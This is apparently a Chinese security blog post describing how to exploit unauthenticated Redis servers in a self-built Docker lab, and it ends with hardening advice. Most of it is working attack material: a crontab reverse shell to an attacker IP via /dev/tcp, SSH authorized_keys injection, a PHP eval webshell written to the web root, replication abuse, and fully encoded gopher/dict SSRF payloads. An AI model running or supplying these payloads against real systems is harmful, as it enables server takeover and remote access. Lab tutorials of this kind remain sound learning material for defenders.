Redis未授权
好早以前写的文章了
在之前打比赛时,遇到一个redis未授权访问的题目,搜搜索索写进去文件了,但是最后没搞出来,好可惜了,所以学了学Redis
漏洞前置基础
漏洞原理
Redis在默认情况下,会绑定0.0.0.0:6379 ,如果没有添加防火墙规则等相关策略,则Redis会暴露在公网,如果在没有密码认证 (一般为空)情况下,会导致任意用户可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据
攻击者可以利用Redis自身提供config命令,进行文件操作,攻击者可以将自己的ssh公钥写入目标服务的/root/.ssh文件夹中authotrized_keys 文件中,后续可以用对应私钥直接使用ssh服务登录目标服务器
漏洞条件
1. redis绑定在 0.0.0.0:6379,且没有添加防火墙规则等相关策略,直接暴露在公网
2. 没有密码认证,或已经知道密码,有条件能够远程登录redis服务
Redis常用命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 redis-cli -h ip -p 6379 -a passwd # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名 info # 查看相关redis信息 set xz "Hacker" # 设置键xz的值为字符串Hacker get xz # 获取键xz的内容 INCR score # 使用INCR命令将score的值增加1 keys * # 列出当前数据库中所有的键 config set protected -mode no # 关闭安全模式 get anotherkey # 获取一个不存在的键的值 config set dir /root/redis # 设置保存目录 config set dbfilename redis.rdb # 设置保存文件名 config get dir # 查看保存目录 config get dbfilename # 查看保存文件名 save # 进行一次备份操作 flushall # 删除所有数据 del key # 删除键为key的数据 slaveof ip port # 设置主从关系 mset k1 v1 k2 v2 k3 v3 #批量设置键值对 mget k1 k2 k3 #批量获取键值对 使用SET和GET命令,可以完成基本的赋值和取值操作; Redis是不区分命令的大小写的,set和SET是同一个意思; 使用keys *可以列出当前数据库中的所有键; 当尝试获取一个不存在的键的值时,Redis会返回空,即(nil); 如果键的值中有空格,需要使用双引号括起来,如"Hello World" ;
Redis配置文件参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 port参数: 格式为port后面接端口号,如port 6379 ,表示Redis服务器将在6379 端口上进行监听来等待客户端的连接。 bind参数: 格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168 .47 .173 10.0 .0 .1 ,表允许192.168 .47 .173 和10.0 .0 .1 两个IP连接。如果设置为0.0 .0 .0 则表示任意ip都可连接,说白了就是白名单。 save参数: 格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如: save 900 1 save 300 10 save 60 10000 表示如果数据库的内容在60 秒后产生了10000 次改变,或者300 秒后产生了10 次改变,或者900 秒后产生了1 次改变,那么立即进行备份操作。 requirepass参数: 格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。 dir参数: 格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。 dbfilename参数: 格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。 config命令: 通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。 protected -mode参数: redis3.2 之后添加了protected -mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
Redis getshell
我们看看如果通过Redis未授权访问来达到getShell
环境搭建
这里我直接用docker命令docker pull redis:5.0.12
,用docker来搭建了一个漏洞环境
用dockerDesktop直接启动,6379端口映射到6380端口
使用工具进行连接(我这里用的是RedisDesktopManager)
GetShell方式
这里我们讲解redis未授权访问拿shell的3种方式
写入SSH 公钥 免密登录
向web中写入webshell
覆盖计划任务反弹shell
覆盖计划任务
首先我们的攻击机监听2333端口
1 2 3 4 5 6 7 8 9 set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.253.128/2333 0>&1\n\n" config set dir /var/spool/cron/ config set dbfilename root save
我们可以看到,这里已经成功写入了root计划任务,等着时间到计划任务即可(由于我这里搭建redis的系统功能不全,没有成功反弹)
这里我们看一下保存下来的文件长什么样子,就知道\n的作用是什么了
前面会有版本等垃圾信息,为了保证我们的crontab语法不被破坏,所以需要用回车键来避免
1 2 3 4 REDIS0009 redis-ver5.0 .12 redis-bits@ctime ¡oused-mem8 aof-preamblexxx>\n\n* * * * * bash -i>& /dev/tcp/192.168.253.128 /2333 0 >&1 \n\ndسC
写入SSH公钥免密登录
首先我们需要在攻击机上生成ssh公钥和私钥,密码设置为空
**ssh-keygen -t rsa**
将公钥写入key.txt当中(文件名无限制)
**(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt**
导入内容(防止乱码)
**cat key.txt| redis-cli -h 192.168.253.135 -x set putsshkey**
1 2 3 4 5 6 config set dir /root/.sshconfig set dbfilename authorized_keys save
然后ssh -i id_rsa root@192.168.253.135
远程登录目标系统
写入webshell远程连接服务器
1 2 3 4 5 6 7 8 set xxx "\n\n<?php eval($_GET ['x']);?>\n\n" config set dir /var/www/html config set dbfilename shell.php save
利用条件:
1 2 3 4 知道网站根目录绝对路径(实际渗透过程中,这个方法通常需要搭配 phpinfo() 等方法使用。) 无需是 root 起的 Redis 可适用于 Windows(非 ssh 连接) 一般无需 flushall 清空数据库(一定情况下也需要)
主从复制
在某些情况下,可以使用redis主从复制来进行写入文件的操作
1 2 3 4 5 6 7 8 9 127.0.0.1:6380> slaveof 127.0.0.1 6381 OK 127.0.0.1:6381 > set sean sheepOK 127.0.0.1:6380 > get sean"sheep"
1 2 3 4 5 6 7 8 9 10 dict://192.168.33.134:6379/slaveof:192.168.33.131:6379 dict://192.168.33.134:6379/config:set:dir:/www/admin/localhost_80/wwwroot dict://192.168.33.134:6379/config:set:dbfilename:ssrf.php 127.0.0.1:6379 > set xxx "\n\n\n<?php phpinfo() ;?>\n\n\n" dict://192.168.33.134:6379/save
SSRF+Redis未授权
gopher协议
gopher协议和dict协议一样需要使用redis内置的命令进行文件写入,只是payload更加复杂
我这里就用写入webshell来演示
下面这些是我们需要执行的命令
1 2 3 4 5 flushall set 1 '<?php phpinfo();?>' config set dir /tmp config set dbfilename shell.php save
这里我使用的是 https://github.com/firebroo/sec_tools 工具
将上述执行的命令写入redis.cmd
中
保存好后执行python2 redis-over-gopher.py
生成payload后,若在在bp中还需要将payload再进行一次url编码
1 2 3 gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%30%0d%0a gopher://127.0.0.1:6379/_%252a%2531%250d%250a%2524%2538%250d%250a%2566%256c%2575%2573%2568%2561%256c%256c%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%250d%250a%2531%250d%250a%2524%2531%2538%250d%250a%253c%253f%2570%2568%2570%2520%2570%2568%2570%2569%256e%2566%256f%2528%2529%253b%253f%253e%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2534%250d%250a%252f%2574%256d%2570%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2539%250d%250a%2573%2568%2565%256c%256c%252e%2570%2568%2570%250d%250a%252a%2530%250d%250a
redis安全配置
以普通账号启动redis服务
监听本地或特定主机
开启 protected-mode
更改默认6379端口
为redis设置密码(最好是强密码)
小结
还是挺有意思的一种漏洞,能够配合SSRF攻击内网的Redis未授权访问达到写入文件的目的,最后可以getShell拿到服务器权限